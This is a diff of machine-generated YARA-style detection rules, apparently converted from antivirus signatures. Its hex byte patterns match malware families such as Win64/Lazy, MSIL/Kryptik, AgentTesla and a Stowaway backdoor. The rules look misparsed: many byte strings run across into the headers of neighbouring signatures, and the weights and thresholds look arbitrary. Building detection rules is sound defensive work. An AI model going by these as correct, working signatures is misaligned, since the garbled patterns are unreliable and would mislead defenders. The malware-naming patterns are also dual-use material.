c2 00 00 00 80 0f 84 90 01 01 00 00 00 90 00 00 00 78 c0 00 00 0f 00 0f 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 53 58 41 21 4d 54 42 00 06 00 24 03 48 6b 44 24 38 20 48 8d 84 04 20 07 00 00 48 8d 15 90 01 04 48 8b c8 e8 90 01 04 0f b6 c0 85 c0 74 7f 90 00 04 00 20 03 ba 02 00 00 00 48 8b c8 ff 15 90 01 05 48 8d 94 24 00 13 00 00 48 8d 8c 24 e0 05 00 00 e8 90 00 03 00 24 01 c7 44 24 54 01 00 00 00 eb 08 c7 44 24 54 00 00 00 } //-2301 + $a_44_7 = {54 88 44 24 31 0f b6 44 24 30 85 c0 74 2f 01 00 11 81 01 5c 42 6c 75 65 4c 69 6e 65 5f 52 61 6e 2e 74 78 74 01 00 09 81 01 25 41 50 50 44 41 54 41 25 00 00 78 c0 00 00 10 00 10 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 4f 4e 21 4d 54 42 00 0a 00 33 03 2b 31 03 09 28 90 02 04 04 09 04 6f 90 02 04 5d 17 d6 28 90 02 04 da 13 04 07 11 04 28 90 02 04 28 90 02 04 28 90 02 04 0b 09 17 d6 0d 09 08 31 cb 90 00 0a 00 20 03 08 11 04 07 11 04 1e d8 1e 6f 90 02 04 18 28 90 02 04 9c 11 04 17 d6 13 04 11 04 09 } //3840 + $a_00_8 = {02 00 0f 80 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 02 00 0b 80 01 43 6f 6d 70 75 74 65 48 61 73 68 02 00 13 80 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 00 00 78 c0 00 00 11 00 11 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 33 35 37 21 4d 54 42 00 01 00 08 00 47 65 74 50 69 78 65 6c 01 00 07 00 54 6f 57 69 6e 33 32 01 00 0e 80 01 43 72 65 61 } //-8143 + $a_6e_9 = {74 61 6e 63 65 01 00 08 00 54 6f 53 74 72 69 6e 67 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 0a 00 0c 02 20 00 64 00 00 8d 90 01 04 0c 90 00 01 00 25 00 24 65 32 } //25972 + $a_66_10 = {66 2d 33 39 65 30 2d 34 30 64 64 2d 38 61 36 32 2d 62 34 34 66 63 65 39 37 63 33 33 62 00 00 78 c0 00 00 12 00 12 00 05 00 21 23 48 53 54 52 3a 54 72 6f } //24884 + $a_3a_11 = {53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 41 4a 21 4d 54 42 00 0a 00 53 02 25 16 02 28 90 01 04 9d 6f 90 01 04 0a 00 2b 06 fe 90 01 05 06 13 06 16 13 07 2b 30 11 06 11 07 9a 13 08 00 00 11 08 28 90 01 04 d2 13 09 02 7b 90 01 04 11 09 6f 90 01 04 00 00 de 05 26 00 00 de 00 00 11 07 17 58 13 07 11 07 11 06 8e 69 32 c8 90 } //24938 condition: - ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29810+(#a_69_2 & 1)*14958+(#a_00_3 & 1)*0+(#a_00_4 & 1)*-5887+(#a_00_5 & 1)*0+(#a_00_6 & 1)*-2301+(#a_61_7 & 1)*29251+(#a_74_9 & 1)*18176+(#a_33_10 & 1)*13362+(#a_06_11 & 1)*10) >=10 + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29810+(#a_69_2 & 1)*14958+(#a_00_3 & 1)*0+(#a_00_4 & 1)*-5887+(#a_00_5 & 1)*0+(#a_00_6 & 1)*-2301+(#a_44_7 & 1)*3840+(#a_00_8 & 1)*-8143+(#a_6e_9 & 1)*25972+(#a_66_10 & 1)*24884+(#a_3a_11 & 1)*24938) >=10 } -rule _InfrastructureShared_13286{ +rule _InfrastructureShared_14159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -149705,16 +159706,31 @@ rule _InfrastructureShared_13286{ $a_00_3 = {00 00 01 00 05 01 e9 09 } //-5887 $a_e9_5 = {00 } //1280 $a_00_6 = {10 } //0 - $a_00_7 = {00 00 20 0f 84 90 01 01 00 00 00 90 00 01 00 10 03 f7 c2 00 00 00 40 0f 84 90 01 01 00 00 00 90 00 01 00 10 03 f7 c2 00 00 00 80 0f 84 90 01 01 00 00 00 90 00 00 00 78 c0 00 00 10 00 10 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 4f 4e 21 4d 54 42 00 0a 00 33 03 2b 31 03 09 28 90 02 04 04 09 04 6f 90 02 04 5d 17 d6 28 90 02 04 da 13 04 07 11 04 28 90 02 04 28 90 02 04 28 90 02 04 0b 09 17 d6 0d 09 08 31 cb 90 00 0a 00 20 03 08 11 04 07 11 04 1e d8 1e 6f 90 02 04 18 28 90 02 04 9c 11 04 17 d6 13 04 11 04 09 31 e0 90 00 02 00 0f 80 01 } //-2301 - $a_61_8 = {65 44 65 63 72 79 70 74 6f 72 02 00 0b 80 01 43 6f 6d 70 75 74 65 48 61 73 68 02 00 13 80 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 00 00 78 c0 00 00 11 00 11 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 33 35 37 21 4d 54 42 } //29251 - $a_74_10 = {69 78 65 6c 01 00 07 00 54 6f 57 69 6e 33 32 01 00 0e 80 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 08 00 54 6f 53 74 72 69 6e 67 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 0a 00 0c 02 20 00 64 00 00 8d 90 01 04 0c 90 00 01 00 25 00 24 65 } //18176 - $a_33_11 = {37 66 2d 33 39 65 30 2d 34 30 64 64 2d 38 61 36 32 2d 62 34 34 66 63 65 39 37 63 33 33 62 00 00 78 c0 00 00 12 00 12 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 41 4a 21 4d 54 42 00 0a 00 53 02 25 16 02 28 90 01 04 9d 6f 90 01 04 } //13362 - $a_06_12 = {fe 90 01 05 06 13 06 16 13 07 2b 30 11 06 11 07 9a 13 08 00 00 11 08 28 90 01 04 d2 13 09 02 7b 90 01 04 11 09 6f 90 01 04 00 00 } //10 + $a_00_7 = {00 00 20 0f 84 90 01 01 00 00 00 90 00 01 00 10 03 f7 c2 00 00 00 40 0f 84 90 01 01 00 00 00 90 00 01 00 10 03 f7 c2 00 00 00 80 0f 84 90 01 01 00 00 00 90 00 00 00 78 c0 00 00 0f 00 0f 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 53 58 41 21 4d 54 42 00 06 00 24 03 48 6b 44 24 38 20 48 8d 84 04 20 07 00 00 48 8d 15 90 01 04 48 8b c8 e8 90 01 04 0f b6 c0 85 c0 74 7f 90 00 04 00 20 03 ba 02 00 00 00 48 8b c8 ff 15 90 01 05 48 8d 94 24 00 13 00 00 48 8d 8c 24 e0 05 00 00 e8 90 00 03 00 24 01 c7 44 24 54 01 00 00 00 eb 08 c7 44 24 54 00 00 00 } //-2301 + $a_44_8 = {54 88 44 24 31 0f b6 44 24 30 85 c0 74 2f 01 00 11 81 01 5c 42 6c 75 65 4c 69 6e 65 5f 52 61 6e 2e 74 78 74 01 00 09 81 01 25 41 50 50 44 41 54 41 25 00 00 78 c0 00 00 10 00 10 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 4f 4e 21 4d 54 42 00 0a 00 33 03 2b 31 03 09 28 90 02 04 04 09 04 6f 90 02 04 5d 17 d6 28 90 02 04 da 13 04 07 11 04 28 90 02 04 28 90 02 04 28 90 02 04 0b 09 17 d6 0d 09 08 31 cb 90 00 0a 00 20 03 08 11 04 07 11 04 1e d8 1e 6f 90 02 04 18 28 90 02 04 9c 11 04 17 d6 13 04 11 04 09 } //3840 + $a_00_9 = {02 00 0f 80 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 02 00 0b 80 01 43 6f 6d 70 75 74 65 48 61 73 68 02 00 13 80 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 00 00 78 c0 00 00 11 00 11 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 33 35 37 21 4d 54 42 00 01 00 08 00 47 65 74 50 69 78 65 6c 01 00 07 00 54 6f 57 69 6e 33 32 01 00 0e 80 01 43 72 65 61 } //-8143 + $a_6e_10 = {74 61 6e 63 65 01 00 08 00 54 6f 53 74 72 69 6e 67 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 0a 00 0c 02 20 00 64 00 00 8d 90 01 04 0c 90 00 01 00 25 00 24 65 32 } //25972 + $a_66_11 = {66 2d 33 39 65 30 2d 34 30 64 64 2d 38 61 36 32 2d 62 34 34 66 63 65 39 37 63 33 33 62 00 00 78 c0 00 00 12 00 12 00 05 00 21 23 48 53 54 52 3a 54 72 6f } //24884 + $a_3a_12 = {53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 41 4a 21 4d 54 42 00 0a 00 53 02 25 16 02 28 90 01 04 9d 6f 90 01 04 0a 00 2b 06 fe 90 01 05 06 13 06 16 13 07 2b 30 11 06 11 07 9a 13 08 00 00 11 08 28 90 01 04 d2 13 09 02 7b 90 01 04 11 09 6f 90 01 04 00 00 de 05 26 00 00 de 00 00 11 07 17 58 13 07 11 07 11 06 8e 69 32 c8 90 } //24938 condition: - ((#a_54_0 & 1)*18467+(#a_e9_1 & 1)*1280+(#a_00_2 & 1)*0+(#a_00_3 & 1)*-5887+(#a_e9_5 & 1)*1280+(#a_00_6 & 1)*0+(#a_00_7 & 1)*-2301+(#a_61_8 & 1)*29251+(#a_74_10 & 1)*18176+(#a_33_11 & 1)*13362+(#a_06_12 & 1)*10) >=13 + ((#a_54_0 & 1)*18467+(#a_e9_1 & 1)*1280+(#a_00_2 & 1)*0+(#a_00_3 & 1)*-5887+(#a_e9_5 & 1)*1280+(#a_00_6 & 1)*0+(#a_00_7 & 1)*-2301+(#a_44_8 & 1)*3840+(#a_00_9 & 1)*-8143+(#a_6e_10 & 1)*25972+(#a_66_11 & 1)*24884+(#a_3a_12 & 1)*24938) >=13 } -rule _InfrastructureShared_13287{ +rule _InfrastructureShared_14160{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 05 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 53 58 41 21 4d 54 42 00 06 00 24 03 48 6b 44 24 38 20 48 8d 84 04 20 07 00 00 48 8d 15 90 01 04 48 8b c8 e8 90 01 04 0f b6 c0 85 c0 74 7f 90 00 04 00 20 } //21539 + $a_00_1 = {00 00 } //-17917 + $a_ff_2 = {90 01 05 48 8d 94 24 00 13 00 00 48 8d 8c 24 e0 05 00 00 e8 90 00 03 00 24 01 c7 44 24 54 01 00 00 00 eb 08 c7 44 24 54 00 00 00 00 0f b6 44 24 54 88 44 24 31 0f b6 44 24 30 85 c0 74 2f 01 00 11 81 01 5c 42 6c 75 65 4c 69 6e 65 5f 52 61 6e 2e 74 78 74 01 00 09 81 01 25 41 50 50 44 41 54 41 25 00 00 78 c0 00 00 10 00 10 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 4f 4e 21 4d 54 42 00 0a 00 33 03 2b 31 03 09 28 90 02 04 04 09 04 6f 90 02 04 5d 17 d6 28 90 02 04 da 13 04 07 11 04 28 90 02 04 28 90 02 04 28 90 02 04 0b 09 17 d6 0d 09 08 31 cb 90 00 0a 00 } //-29880 + $a_11_3 = {07 11 04 1e d8 1e 6f 90 } //800 + $a_28_4 = {02 04 9c 11 04 17 d6 13 04 11 04 09 31 e0 90 00 02 00 0f 80 01 43 72 65 } //1026 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-17917+(#a_ff_2 & 1)*-29880+(#a_11_3 & 1)*800+(#a_28_4 & 1)*1026) >=15 + +} +rule _InfrastructureShared_14161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 05 00 21 " @@ -149728,7 +159744,7 @@ rule _InfrastructureShared_13287{ ((#a_46_0 & 1)*16675+(#a_cb_1 & 1)*2057+(#a_79_2 & 1)*25445+(#a_32_3 & 1)*28265+(#a_65_4 & 1)*29557) >=16 } -rule _InfrastructureShared_13288{ +rule _InfrastructureShared_14162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -149744,7 +159760,7 @@ rule _InfrastructureShared_13288{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29300+(#a_3a_2 & 1)*21587+(#a_04_3 & 1)*-28549+(#a_01_4 & 1)*28425+(#a_a2_5 & 1)*400+(#a_09_6 & 1)*-24060) >=17 } -rule _InfrastructureShared_13289{ +rule _InfrastructureShared_14163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -149758,7 +159774,7 @@ rule _InfrastructureShared_13289{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*31490+(#a_25_2 & 1)*552+(#a_53_3 & 1)*14958+(#a_00_4 & 1)*-28394) >=18 } -rule _InfrastructureShared_13290{ +rule _InfrastructureShared_14164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " @@ -149773,7 +159789,7 @@ rule _InfrastructureShared_13290{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*25464+(#a_6f_2 & 1)*21562+(#a_90_3 & 1)*770+(#a_3e_4 & 1)*23923+(#a_5c_5 & 1)*17409) >=20 } -rule _InfrastructureShared_13291{ +rule _InfrastructureShared_14165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 04 00 21 " @@ -149786,7 +159802,7 @@ rule _InfrastructureShared_13291{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4390+(#a_44_2 & 1)*23329+(#a_69_3 & 1)*24941) >=22 } -rule _InfrastructureShared_13292{ +rule _InfrastructureShared_14166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 0a 00 04 00 21 " @@ -149799,7 +159815,7 @@ rule _InfrastructureShared_13292{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*15422+(#a_6c_2 & 1)*24909+(#a_78_3 & 1)*11879) >=10 } -rule _InfrastructureShared_13293{ +rule _InfrastructureShared_14167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -149810,7 +159826,7 @@ rule _InfrastructureShared_13293{ ((#a_46_0 & 1)*16675+(#a_3c_1 & 1)*15952) >=200 } -rule _InfrastructureShared_13294{ +rule _InfrastructureShared_14168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -149820,7 +159836,7 @@ rule _InfrastructureShared_13294{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_13295{ +rule _InfrastructureShared_14169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -149830,7 +159846,7 @@ rule _InfrastructureShared_13295{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_13296{ +rule _InfrastructureShared_14170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -149840,7 +159856,18 @@ rule _InfrastructureShared_13296{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_13297{ +rule _InfrastructureShared_14171{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 57 4d 49 54 61 73 6b 2e 48 42 21 4d 54 42 00 01 00 4c 03 00 11 72 01 00 00 70 0a 02 6f 14 00 00 0a 72 90 01 01 00 00 70 6f 15 00 00 0a 06 72 90 01 01 00 00 70 28 16 00 00 0a 0b 02 6f 14 00 00 } //16675 + $a_01_1 = {01 00 00 70 6f 15 00 00 0a 0c 07 08 28 06 00 00 06 90 02 24 26 de 00 16 2a 90 00 01 00 44 03 00 00 70 6f 15 00 00 0a 17 8d 90 01 02 00 01 25 16 1f 2c 9d 6f 90 01 01 00 00 0a 0b 06 07 28 90 09 19 00 02 6f 90 01 01 00 00 0a 72 01 00 00 70 6f 90 01 01 00 00 0a 0a 02 6f 90 01 01 00 00 0a 72 0f 90 00 00 00 78 c1 00 00 01 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f 4d 79 73 74 69 63 43 } //29194 + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29194) >=1 + +} +rule _InfrastructureShared_14172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -149851,7 +159878,7 @@ rule _InfrastructureShared_13297{ ((#a_46_0 & 1)*16675+(#a_c2_1 & 1)*18433) >=1 } -rule _InfrastructureShared_13298{ +rule _InfrastructureShared_14173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -149862,7 +159889,7 @@ rule _InfrastructureShared_13298{ ((#a_46_0 & 1)*16675+(#a_7c_1 & 1)*14592) >=1 } -rule _InfrastructureShared_13299{ +rule _InfrastructureShared_14174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -149873,7 +159900,7 @@ rule _InfrastructureShared_13299{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*400) >=1 } -rule _InfrastructureShared_13300{ +rule _InfrastructureShared_14175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -149884,7 +159911,7 @@ rule _InfrastructureShared_13300{ ((#a_54_0 & 1)*18467+(#a_89_1 & 1)*8452) >=1 } -rule _InfrastructureShared_13301{ +rule _InfrastructureShared_14176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -149896,7 +159923,7 @@ rule _InfrastructureShared_13301{ ((#a_54_0 & 1)*18467+(#a_d0_1 & 1)*257+(#a_01_2 & 1)*17803) >=1 } -rule _InfrastructureShared_13302{ +rule _InfrastructureShared_14177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -149908,7 +159935,7 @@ rule _InfrastructureShared_13302{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-29704+(#a_45_2 & 1)*1130) >=1 } -rule _InfrastructureShared_13303{ +rule _InfrastructureShared_14178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -149920,7 +159947,7 @@ rule _InfrastructureShared_13303{ ((#a_46_0 & 1)*21283+(#a_c3_1 & 1)*30721+(#a_cb_2 & 1)*7248) >=1 } -rule _InfrastructureShared_13304{ +rule _InfrastructureShared_14179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -149932,7 +159959,7 @@ rule _InfrastructureShared_13304{ ((#a_5f_0 & 1)*25635+(#a_01_1 & 1)*-28661+(#a_44_2 & 1)*4) >=1 } -rule _InfrastructureShared_13305{ +rule _InfrastructureShared_14180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -149945,7 +159972,7 @@ rule _InfrastructureShared_13305{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*-5360+(#a_15_4 & 1)*2027+(#a_12_5 & 1)*8577) >=1 } -rule _InfrastructureShared_13306{ +rule _InfrastructureShared_14181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -149956,7 +159983,7 @@ rule _InfrastructureShared_13306{ ((#a_46_0 & 1)*16675+(#a_21_1 & 1)*4637) >=2 } -rule _InfrastructureShared_13307{ +rule _InfrastructureShared_14182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -149967,7 +159994,7 @@ rule _InfrastructureShared_13307{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-27648) >=2 } -rule _InfrastructureShared_13308{ +rule _InfrastructureShared_14183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -149978,7 +160005,7 @@ rule _InfrastructureShared_13308{ ((#a_54_0 & 1)*18467+(#a_8e_1 & 1)*22551) >=2 } -rule _InfrastructureShared_13309{ +rule _InfrastructureShared_14184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -149988,7 +160015,7 @@ rule _InfrastructureShared_13309{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13310{ +rule _InfrastructureShared_14185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -149998,7 +160025,7 @@ rule _InfrastructureShared_13310{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13311{ +rule _InfrastructureShared_14186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -150009,7 +160036,7 @@ rule _InfrastructureShared_13311{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*13824) >=2 } -rule _InfrastructureShared_13312{ +rule _InfrastructureShared_14187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -150020,7 +160047,7 @@ rule _InfrastructureShared_13312{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30464) >=2 } -rule _InfrastructureShared_13313{ +rule _InfrastructureShared_14188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -150030,7 +160057,7 @@ rule _InfrastructureShared_13313{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13314{ +rule _InfrastructureShared_14189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -150040,7 +160067,7 @@ rule _InfrastructureShared_13314{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_13315{ +rule _InfrastructureShared_14190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -150051,7 +160078,7 @@ rule _InfrastructureShared_13315{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*115) >=2 } -rule _InfrastructureShared_13316{ +rule _InfrastructureShared_14191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -150063,7 +160090,7 @@ rule _InfrastructureShared_13316{ ((#a_54_0 & 1)*18467+(#a_88_1 & 1)*656+(#a_02_2 & 1)*15680) >=2 } -rule _InfrastructureShared_13317{ +rule _InfrastructureShared_14192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -150074,7 +160101,7 @@ rule _InfrastructureShared_13317{ ((#a_46_0 & 1)*16675+(#a_37_1 & 1)*14434) >=2 } -rule _InfrastructureShared_13318{ +rule _InfrastructureShared_14193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -150087,7 +160114,7 @@ rule _InfrastructureShared_13318{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*13921+(#a_23_2 & 1)*8+(#a_00_3 & 1)*11891) >=2 } -rule _InfrastructureShared_13319{ +rule _InfrastructureShared_14194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -150103,7 +160130,7 @@ rule _InfrastructureShared_13319{ ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*12545+(#a_32_2 & 1)*264+(#a_72_3 & 1)*14924+(#a_00_5 & 1)*-22361+(#a_20_6 & 1)*30055+(#a_6e_7 & 1)*26414) >=2 } -rule _InfrastructureShared_13320{ +rule _InfrastructureShared_14195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -150114,7 +160141,7 @@ rule _InfrastructureShared_13320{ ((#a_4c_0 & 1)*21539+(#a_0d_1 & 1)*18432) >=3 } -rule _InfrastructureShared_13321{ +rule _InfrastructureShared_14196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -150126,7 +160153,7 @@ rule _InfrastructureShared_13321{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*257+(#a_61_2 & 1)*29541) >=3 } -rule _InfrastructureShared_13322{ +rule _InfrastructureShared_14197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -150137,19 +160164,48 @@ rule _InfrastructureShared_13322{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*5896) >=3 } -rule _InfrastructureShared_13323{ +rule _InfrastructureShared_14198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 72 6f 70 65 72 6d 75 67 67 79 2e 41 21 64 68 61 00 03 00 1a 01 43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 74 64 72 65 73 2e 65 78 65 01 00 2a 01 2f 00 73 00 65 00 61 00 72 00 63 } //16675 $a_00_2 = {63 00 61 00 72 00 73 00 66 00 6f 00 72 00 73 00 61 00 6c 00 65 00 01 00 20 01 49 6e 74 65 72 6e 65 74 43 6c 6f 73 65 48 61 6e 49 6e 74 65 72 6e 65 74 53 65 74 4f 70 74 69 6f 01 00 20 } //113 - $a_74_3 = {72 6e 65 74 43 6f 6e 6e 65 63 74 57 48 74 74 70 53 65 6e 64 52 65 71 75 65 73 74 57 00 00 78 c1 00 00 04 00 04 00 04 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 48 53 54 52 3a 57 69 6e 33 32 2f 42 6c 69 7a 7a 61 72 64 44 6f 77 6e 6c 6f 61 64 65 72 2e 41 00 01 00 20 01 68 74 74 70 3a 2f 2f 77 77 77 2e 62 6c 69 7a 7a 61 72 64 2e 63 6f } //18689 + $a_74_3 = {72 6e 65 74 43 6f 6e 6e 65 63 74 57 48 74 74 70 53 65 6e 64 52 65 71 75 65 73 74 57 00 00 78 c1 00 00 03 00 03 00 06 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 53 74 6f 77 61 77 61 79 2e 43 21 64 68 61 00 01 00 15 03 53 74 6f 77 61 77 61 79 90 01 00 40 2f 61 64 6d 69 6e 2f 90 00 01 00 15 03 53 74 6f 77 61 } //18689 condition: ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*113+(#a_74_3 & 1)*18689) >=3 } -rule _InfrastructureShared_13324{ +rule _InfrastructureShared_14199{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 53 74 6f 77 61 77 61 79 2e 43 21 64 68 61 00 01 00 15 03 53 74 6f 77 61 77 61 79 90 01 00 40 2f 61 64 6d 69 6e 2f 90 00 01 00 15 03 53 74 6f 77 61 77 61 79 90 01 00 40 2f 73 68 61 72 } //16675 + $a_00_1 = {01 00 14 03 53 74 6f 77 61 77 61 79 90 01 00 40 2f 6e 6f 64 65 2f 90 00 01 00 14 03 53 74 6f 77 61 77 61 79 90 01 00 40 2f 75 74 69 6c 73 90 00 01 00 16 03 53 74 6f 77 61 77 61 79 90 01 00 40 2f 63 72 79 70 74 6f 2f 90 00 01 00 15 03 53 74 6f 77 61 77 61 79 90 01 00 40 2f 61 67 65 6e 74 2f 90 00 00 00 78 c1 00 